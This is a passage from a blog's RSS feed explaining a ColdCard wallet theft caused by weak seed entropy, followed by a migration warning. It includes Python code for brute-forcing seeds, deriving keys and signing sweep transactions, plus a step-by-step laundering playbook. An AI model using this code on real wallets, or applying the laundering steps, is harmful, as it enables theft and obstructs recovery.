</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">addr</span> <span class="ow">in</span> <span class="n">candidate</span><span class="p">[</span><span class="s2">&#34;receive&#34;</span><span class="p">]</span> <span class="o">+</span> <span class="n">candidate</span><span class="p">[</span><span class="s2">&#34;change&#34;</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">has_utxo</span><span class="p">(</span><span class="n">addr</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;HIT!&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;  mnemonic:&#34;</span><span class="p">,</span> <span class="n">candidate</span><span class="p">[</span><span class="s2">&#34;mnemonic&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;  address :&#34;</span><span class="p">,</span> <span class="n">addr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span> <span class="n">candidate</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Didactic example: use a known UID and a reduced Mk3 generator.</span>
</span></span><span class="line"><span class="cl"><span class="c1"># hunt(0xAABBCCDD, brute_mk3(0xAABBCCDD))</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>What they do:</strong> <code>brute_mk3</code> scans plausible states for Mk3; <code>brute_mk4</code> scans the 2^32 secure-element reseeds; <code>hunt</code> is the generate-derive-check loop. The real attacker does not run Python; they write this in C/CUDA/FPGA and parallelize by UID. But the logic is identical.</p>
<h2>After finding the collision<span class="hx:absolute hx:-mt-20" id="after-finding-the-collision"></span>
    <a href="#after-finding-the-collision" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>When <code>hunt</code> returns, the attacker already has the <code>mnemonic</code> and the funded address. From there, they get the private key:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip39</span> <span class="kn">import</span> <span class="n">mnemonic_to_seed</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip32</span> <span class="kn">import</span> <span class="n">HDKey</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">seed</span> <span class="o">=</span> <span class="n">mnemonic_to_seed</span><span class="p">(</span><span class="n">candidate_mnemonic</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">root</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">addr_key</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="s2">&#34;m/84&#39;/0&#39;/0&#39;/0/0&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Compressed WIF:&#34;</span><span class="p">,</span> <span class="n">addr_key</span><span class="o">.</span><span class="n">key</span><span class="o">.</span><span class="n">wif</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Address       :&#34;</span><span class="p">,</span> <span class="n">addr_key</span><span class="o">.</span><span class="n">address</span><span class="p">())</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Typical output:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">Compressed WIF: L1P8P5vQUoRiNXpDuezfTf3GJtsFBWyJZsvfVs2gxNtxaAXSNhhF
</span></span><span class="line"><span class="cl">Address       : bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>That WIF is the private key in a format any wallet understands. From here the attacker can:</p>
<ol>
<li><strong>Import the seed or the WIF</strong> into Sparrow, Electrum, or another wallet.</li>
<li><strong>Rescan</strong> the blockchain to see all UTXOs for that seed.</li>
<li><strong>Build a transaction</strong> sending the funds to an address they control.</li>
<li><strong>Sign and broadcast</strong>.</li>
</ol>
<h3>Concrete sweep example<span class="hx:absolute hx:-mt-20" id="concrete-sweep-example"></span>
    <a href="#concrete-sweep-example" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>In the real case, the attacker swept the 29.89251877 BTC UTXO from address <a href="https://mempool.space/address/bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr"target="_blank" rel="noopener"><code>bc1qe85jr...</code></a> to the consolidation address. What they needed to produce was a signed transaction. The skeleton, with didactic values and a fictional input, looks like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">bitcoinlib.transactions</span> <span class="kn">import</span> <span class="n">Transaction</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">bitcoinlib.keys</span> <span class="kn">import</span> <span class="n">HDKey</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># key recovered from the collided seed</span>
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">candidate_mnemonic</span><span class="p">)</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="s2">&#34;m/84&#39;/0&#39;/0&#39;/0/0&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">input_value</span>  <span class="o">=</span> <span class="mi">2_989_251_877</span>      <span class="c1"># 29.89251877 BTC, in satoshis</span>
</span></span><span class="line"><span class="cl"><span class="n">fee</span>          <span class="o">=</span> <span class="mi">7_380</span>              <span class="c1"># fee in satoshis</span>
</span></span><span class="line"><span class="cl"><span class="n">output_value</span> <span class="o">=</span> <span class="n">input_value</span> <span class="o">-</span> <span class="n">fee</span>  <span class="c1"># what is left for the attacker</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">tx</span> <span class="o">=</span> <span class="n">Transaction</span><span class="p">(</span><span class="n">network</span><span class="o">=</span><span class="s1">&#39;bitcoin&#39;</span><span class="p">,</span> <span class="n">fee</span><span class="o">=</span><span class="n">fee</span><span class="p">,</span> <span class="n">witness_type</span><span class="o">=</span><span class="s1">&#39;segwit&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">tx</span><span class="o">.</span><span class="n">add_input</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&#39;</span><span class="p">,</span>  <span class="c1"># victim UTXO txid</span>
</span></span><span class="line"><span class="cl">    <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">keys</span><span class="o">=</span><span class="n">key</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">value</span><span class="o">=</span><span class="n">input_value</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">locking_script</span><span class="o">=</span><span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s1">&#39;0014&#39;</span><span class="p">)</span> <span class="o">+</span> <span class="n">key</span><span class="o">.</span><span class="n">hash160</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">script_type</span><span class="o">=</span><span class="s1">&#39;sig_pubkey&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">address</span><span class="o">=</span><span class="n">key</span><span class="o">.</span><span class="n">address</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">tx</span><span class="o">.</span><span class="n">add_output</span><span class="p">(</span><span class="n">output_value</span><span class="p">,</span> <span class="s1">&#39;bc1qqdcszapk2yjrw0esf4t0etnlpjs5krsk5e99ru&#39;</span><span class="p">)</span>  <span class="c1"># attacker address</span>
</span></span><span class="line"><span class="cl"><span class="n">tx</span><span class="o">.</span><span class="n">sign</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">tx</span><span class="o">.</span><span class="n">raw_hex</span><span class="p">())</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>A valid signed transaction looks like this (hex truncated):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">01000000000101aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0000000000ffffffff...</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The attacker broadcasts that hex to any Bitcoin node (mempool.space, their own node, Electrum, etc.). The protocol does not ask where the key came from; it only checks whether the signature satisfies the script. If the signature is valid, the network includes the transaction in the next block and the UTXO changes owner.</p>
<p>In the real attack, this was done 1,195 times in 41 minutes, all with the same script, the same fee rate, and the same balance-sorted logic.</p>
<h2>What this bug class means<span class="hx:absolute hx:-mt-20" id="what-this-bug-class-means"></span>
    <a href="#what-this-bug-class-means" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>This is not an attack on the elliptic curve, SHA-256, BIP39, or Bitcoin. It is an attack on <strong>entropy</strong>. The manufacturer reduced the key space, and the protocol simply accepted the signatures that came out of that smaller space.</p>
<p>Three lessons:</p>
<ol>
<li><strong>Do not trust the appearance of randomness.</strong> Yasmarang&rsquo;s output passes simple statistical tests and looks random. But if the initial state is predictable, the entire sequence is predictable.</li>
<li><strong>Hashing does not create entropy.</strong> Passing 40 bits of input through SHA-256 twice yields a nice, uniform hash, but there are still at most <code>2^40</code> possible hashes. The attacker enumerates inputs, not hashes.</li>
<li><strong>The blockchain is public and permanent.</strong> A vulnerable wallet can sit quietly for years until someone connects the dots. On the day the attack is published, every UTXO in that key space becomes a target.</li>
</ol>
<h2>Can the attacker be caught?<span class="hx:absolute hx:-mt-20" id="can-the-attacker-be-caught"></span>
    <a href="#can-the-attacker-be-caught" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Whenever a cryptocurrency theft reaches this scale, one question keeps coming up: &ldquo;can the person be traced?&rdquo;. The short answer is: <strong>maybe, but it is not trivial</strong>, and tracing is not the same as recovering the bitcoins.</p>
<p>Clay Garrett, who is among the people investigating the case, published <a href="https://x.com/clay_garrett/status/2083247006139503065"target="_blank" rel="noopener">a thread on X</a> claiming that his team identified an unusual sweep pattern. According to the thread, the attack operator allegedly used a paid account at a well-known blockchain-services provider to query the source addresses and related activity during the sweeps. The provider&rsquo;s logs allegedly matched, with &ldquo;extraordinary specificity,&rdquo; the number, timing, and sequence of requests. The provider, Garrett says, was only delivering normal services; the requests themselves did not reveal their purpose.</p>
<p>What this means, <strong>if confirmed</strong>:</p>
<ul>
<li>A blockchain-services provider usually requires an account, and often payment. That can leave traces: email, payment method, IP address, access times, API usage patterns.</li>
<li>If the account was KYC&rsquo;d, the chance of identifying a person rises sharply. If payment was made with cryptocurrency, an anonymous voucher, or a third-party card, the link weakens.</li>
<li>Even with an IP or email, the operator may have used a VPN, Tor, disposable cloud compute, or a stolen identity. Each extra layer reduces the chance of reaching the real person.</li>
<li>The funds, as far as is known, have not yet been moved to mixers or exchanges. While they remain stationary, there is a window for freezing or judicial recovery. Once they are swapped, mixed, or converted to offshore fiat, asset recovery becomes drastically harder.</li>
</ul>
<p>So the thread points to a promising line of investigation, but <strong>it is an ongoing allegation</strong>, not a concluded proof. Catching the operator depends on how much they exposed through third-party services, the quality of the logs, jurisdiction, and how fast authorities act. Recovering the bitcoins depends on where the coins are when that happens. The two are related, but they are not the same thing.</p>
<h2>What the attacker has not done yet<span class="hx:absolute hx:-mt-20" id="what-the-attacker-has-not-done-yet"></span>
    <a href="#what-the-attacker-has-not-done-yet" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>So far, the operation has been technically competent at the attack but amateurish at the escape. The ~1,128 BTC stolen are sitting in known consolidation addresses, with no mixer, no coinjoin, no follow-up movement. That is unusual for a theft of this size and worth attention, because it determines what is still recoverable.</p>
<h3>What a mixer is, and why it has not been used<span class="hx:absolute hx:-mt-20" id="what-a-mixer-is-and-why-it-has-not-been-used"></span>
    <a href="#what-a-mixer-is-and-why-it-has-not-been-used" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>A <strong>mixer</strong> (or <strong>tumbler</strong>) is a service that takes bitcoins from many people, shuffles the amounts inside a single transaction or a series of transactions, and returns equivalent bitcoins to fresh addresses. The goal is to break the public chain of &ldquo;where it came from.&rdquo;</p>
<p>The classic model is <strong>CoinJoin</strong>: several participants jointly sign a transaction with many inputs and many outputs of the same size. An outside observer sees the money go in but cannot tell which output belongs to whom. Tools like <strong>Wasabi Wallet</strong> and <strong>Samourai Wallet</strong> implement CoinJoin automatically. Samourai even offered a service called <strong>Whirlpool</strong>, where UTXOs go through remix rounds that make tracing even harder.</p>
<p>Another model is the centralized mixer: you send bitcoins to a service address and receive them back from a different pool, minus a fee. Services like <strong>Bitcoin Fog</strong> and <strong>Helix</strong> historically worked this way. The difference from CoinJoin is that you must trust the mixer operator — and several of those operators were arrested precisely because investigators could link deposits to withdrawals.</p>
<p>In the ColdCard theft, none of these techniques has appeared yet. The bitcoins moved from the victims&rsquo; wallets into three large clusters and have not moved since. That can mean several things:</p>
<ol>
<li><strong>The attacker is still getting ready.</strong> Stealing 1,128 BTC in 41 minutes is one thing; laundering 1,128 BTC without leaving a trace is another. Setting up an anonymization pipeline takes time, costs money, and requires pre-established accounts.</li>
<li><strong>The attacker did not expect this much visibility.</strong> Once the press and blockchain analysts start tracking addresses in real time, any immediate movement becomes news. Leaving the funds still is a way to wait for the noise to die down.</li>
<li><strong>The attacker may be negotiating a recovery.</strong> Large thefts sometimes end in settlements, with part of the funds returned in exchange for the thief&rsquo;s anonymity.</li>
</ol>
<h3>How one normally hides a haul like this<span class="hx:absolute hx:-mt-20" id="how-one-normally-hides-a-haul-like-this"></span>
    <a href="#how-one-normally-hides-a-haul-like-this" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>If the operator really wants to make tracing difficult, the standard playbook involves several layers:</p>
<ol>
<li><strong>CoinJoin rounds.</strong> The attacker splits the funds into standardized amounts and runs them through multiple CoinJoin rounds. After a few rounds the graph stops being a tree and becomes a web, making attribution hard.</li>
<li><strong>Peel chain.</strong> Instead of sending everything at once, the operator moves small slices across dozens or hundreds of intermediate addresses, like peeling an onion. Each address forwards most of the value to the next one and a tiny fraction to a final destination.</li>
<li><strong>Instant swaps and bridges.</strong> Swapping Bitcoin for Monero on a decentralized exchange or bridge is a common path: Monero hides sender, recipient, and amount. After a few Monero transactions, the attacker can swap back into Bitcoin at fresh addresses.</li>
<li><strong>Weak-KYC or no-KYC exchanges.</strong> Depositing into exchanges that do not require identification, or that accept third-party accounts, lets the attacker convert into stablecoins, fiat, or other cryptocurrencies. Even with KYC, bought accounts or money mules help create distance.</li>
<li><strong>Offshore fiat.</strong> The final stage is turning the asset into real cash outside jurisdictions that cooperate with investigations. Unregulated exchanges, Bitcoin ATMs, prepaid cards, and accounts in tax havens fit here.</li>
</ol>
<p>None of these layers makes tracing impossible, but each raises the cost. A well-funded investigation can still follow clues: fees paid by an exchange, timing patterns, change addresses, value matches. The problem is that the more layers there are, the more time it takes — and the more time passes, the lower the chance of freezing the funds before they are spent.</p>
<h3>Why this matters now<span class="hx:absolute hx:-mt-20" id="why-this-matters-now"></span>
    <a href="#why-this-matters-now" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The fact that the bitcoins are still in the consolidation addresses means the recovery window is still theoretically open. Law enforcement and private investigators can monitor those addresses, request freezes at exchanges, and pressure blockchain-service providers. If the attacker sends even a single satoshi to a known mixer, alarms go off.</p>
<p>But that window closes as soon as the funds enter an anonymization pipeline. After a proper CoinJoin, a Monero swap, and a network of peel chains, the question stops being &ldquo;where is the money?&rdquo; and becomes &ldquo;who can we arrest?&rdquo;. Recovering the asset becomes technically infeasible for most victims.</p>
<p>In other words, the attacker has already won the first battle — finding and stealing the keys. The second battle, cashing out anonymously, is the one that usually separates big-wallet thieves from thieves who end up in prison.</p>
<h2>Conclusion<span class="hx:absolute hx:-mt-20" id="conclusion"></span>
    <a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>If you still have funds in a seed generated by vulnerable ColdCard firmware, the risk is not theoretical. The blockchain already shows hundreds of addresses being emptied by someone who reproduced the broken RNG.</p>
<p>The ColdCard does not hold your bitcoins. It held the key. The key was born weak. Whoever has a copy of the same key — obtained by enumerating states of a PRNG — can sign transactions on your behalf, without ever having touched the device.</p>
<p>The only defense is to move the funds to a new seed, generated by corrected firmware or, better, by a process that combines independent entropy sources (casino-grade dice, a different manufacturer&rsquo;s TRNG, an offline host). And test recovery before sending meaningful value.</p>
<p>Do not trust a company, certification, influencer, or article. Not even this one. Verify.</p>
]]></content:encoded><category>bitcoin-and-cryptocurrency</category><category>security</category><category>hardware</category></item><item><title>URGENT - If You Keep Bitcoin on a ColdCard: MOVE EVERYTHING</title><link>https://akitaonrails.github.io/en/2026/07/31/urgent-if-you-keep-bitcoin-on-a-coldcard-move-everything/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/07/31/urgent-if-you-keep-bitcoin-on-a-coldcard-move-everything/</guid><pubDate>Fri, 31 Jul 2026 23:00:00 -0300</pubDate><description>&lt;p&gt;I use ColdCard. Or rather, I used that old ColdCard to store part of my bitcoin. I have already moved everything that was on it to a new wallet. If your seed was generated on a ColdCard since March 2021 and you cannot prove it came from safe firmware or enough external entropy, stop reading, take inventory, and get ready to move too.&lt;/p&gt;
&lt;p&gt;I am not exaggerating for a clickbait headline. On July 29, transactions started sweeping user wallets. One consolidation address &lt;a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener"&gt;received 594.47723261 BTC across 501 outputs&lt;/a&gt;. That is public blockchain data, not a Telegram screenshot. Issue 416 of &lt;a href="https://bitcoinops.org/en/newsletters/2026/07/31/#wallets-generated-by-coldcard-at-risk-of-theft"target="_blank" rel="noopener"&gt;Bitcoin Optech&lt;/a&gt;, published while the case was still unfolding, already estimated losses above &lt;strong&gt;1,000 BTC&lt;/strong&gt;.&lt;/p&gt;</description><content:encoded><![CDATA[<p>I use ColdCard. Or rather, I used that old ColdCard to store part of my bitcoin. I have already moved everything that was on it to a new wallet. If your seed was generated on a ColdCard since March 2021 and you cannot prove it came from safe firmware or enough external entropy, stop reading, take inventory, and get ready to move too.</p>
<p>I am not exaggerating for a clickbait headline. On July 29, transactions started sweeping user wallets. One consolidation address <a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener">received 594.47723261 BTC across 501 outputs</a>. That is public blockchain data, not a Telegram screenshot. Issue 416 of <a href="https://bitcoinops.org/en/newsletters/2026/07/31/#wallets-generated-by-coldcard-at-risk-of-theft"target="_blank" rel="noopener">Bitcoin Optech</a>, published while the case was still unfolding, already estimated losses above <strong>1,000 BTC</strong>.</p>
<p>The exact number will still change. The 594 BTC cluster is directly observable; attributing every input to the same vulnerability and closing the global total requires more analysis. But the combination of victim reports, the sweep pattern, reproduction of the bug, and Coinkite&rsquo;s own admission is strong enough. Waiting for a pretty forensic report while a vulnerable seed keeps receiving funds is a terrible strategy.</p>
<blockquote>
  <p>Do not panic and type your 24 words into the first website that promises to &ldquo;check your ColdCard&rdquo; either. That is the other, much easier way to lose everything. A seed never goes into a website, chat, browser extension, or online computer. First understand whether you were affected. Then migrate calmly, verifying the address on the screen of a trusted signer.</p>

</blockquote>
<h2>Who needs to act now<span class="hx:absolute hx:-mt-20" id="who-needs-to-act-now"></span>
    <a href="#who-needs-to-act-now" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The vulnerability is in <strong>seed generation</strong>. What matters is the model and firmware used on the day those words were created, not the firmware installed today or where you imported the seed afterward.</p>
<blockquote>
  <p><strong>In practice: if you own any ColdCard, move the funds to a wallet derived from a completely new seed. Better to err on the side of caution.</strong> The ranges below show where the bug has already been confirmed; they are no reason to bet your life savings on the assumption that everything else is perfect. Updating the device does not repair the old seed.</p>

</blockquote>
<p>According to <a href="https://blog.coinkite.com/coldcard-mk3-seed-generation-warning/"target="_blank" rel="noopener">Coinkite&rsquo;s advisory</a> and <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block&rsquo;s independent analysis</a>, treat as compromised any seed generated under these conditions:</p>
<table>
  <thead>
      <tr>
          <th>Device</th>
          <th>Firmware that generated the seed</th>
          <th>Status</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Mk2</td>
          <td>4.0.0 through 4.1.9, according to Block</td>
          <td>Vulnerable. Migrate the seed and retire the device as a generator.</td>
      </tr>
      <tr>
          <td>Mk3</td>
          <td>4.0.1 through 4.1.9 in Coinkite&rsquo;s advisory; Block includes 4.0.0</td>
          <td>Vulnerable. Install 4.2.0 or later before generating another seed.</td>
      </tr>
      <tr>
          <td>Mk4 / Mk5 Standard</td>
          <td>Earlier than 5.6.0</td>
          <td>Affected. Update before generating another seed.</td>
      </tr>
      <tr>
          <td>Mk4 / Mk5 Edge</td>
          <td>Earlier than 6.6.0X</td>
          <td>Affected. Edge is a separate release track.</td>
      </tr>
      <tr>
          <td>Q Standard</td>
          <td>Earlier than 1.5.0Q</td>
          <td>Affected.</td>
      </tr>
      <tr>
          <td>Q Edge</td>
          <td>Earlier than 6.6.0QX</td>
          <td>Affected.</td>
      </tr>
  </tbody>
</table>
<p>Block includes the Mk2 running 4.x firmware in the same regression as the Mk3 and starts the vulnerable range for both at 4.0.0. Coinkite focused its advisory on the Mk3, starting at 4.0.1, and on current models. I would treat the entire 4.x line through 4.1.9 as compromised on both. If you own an Mk2, do not take comfort from its absence in the advisory headline.</p>
<p>There is one important exception: anyone who added at least <strong>50 fair, independent, and private die rolls</strong> during the original setup theoretically preserved at least 128 bits from an outside source. Coinkite itself says those seeds are not at risk from <strong>this bug alone</strong>. If you do not remember exactly how many rolls you made, which flow you used, or whether those results remained private, assume you did not do it.</p>
<p>A seed imported from another generator was not born from this defective RNG either. It may have other problems, of course, but not this one. Updating firmware now cannot travel back in time and repair any words. You must create a new seed and transfer the UTXOs to addresses derived from it.</p>
<blockquote>
  <p><strong>Restoring the same 24 words on a Trezor, Ledger, SeedSigner, or any other device is NOT a migration. You are still in danger.</strong> The hardware changed; the root and the entire universe of derived private keys remain the same. Another derivation path may display different addresses, but it adds no entropy. If the ColdCard generated that wallet using the weak RNG, importing its seed into another signer merely teaches the new device to reproduce the same vulnerable keys. Create a completely new wallet with new entropy, then make an on-chain transaction that moves the funds from the old wallet to addresses in the new one.</p>

</blockquote>
<p>I would do this even with a strong passphrase. The passphrase may have placed an independent barrier in front of the attacker, but Coinkite itself recommends migrating. After a failure of this magnitude, calculating the minimum theoretically acceptable risk is saving money in the wrong place.</p>
<h2>The bug: <code>#ifndef</code> does not mean &ldquo;if true&rdquo;<span class="hx:absolute hx:-mt-20" id="the-bug-ifndef-does-not-mean-if-true"></span>
    <a href="#the-bug-ifndef-does-not-mean-if-true" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Coinkite&rsquo;s <a href="https://blog.coinkite.com/entropy-technical-backgrounder/"target="_blank" rel="noopener">technical postmortem</a> is an embarrassing read.</p>
<p>In March 2021, the firmware replaced <code>ckcc.rng_bytes()</code> with <code>ngu.random.bytes()</code> during its migration to libNgU and the <code>libsecp256k1</code> used by Bitcoin Core. The library choice was good. The integration was disastrous.</p>
<p>The build code defined:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#define MICROPY_HW_ENABLE_RNG (0)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>But the guard in libNgU checked this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

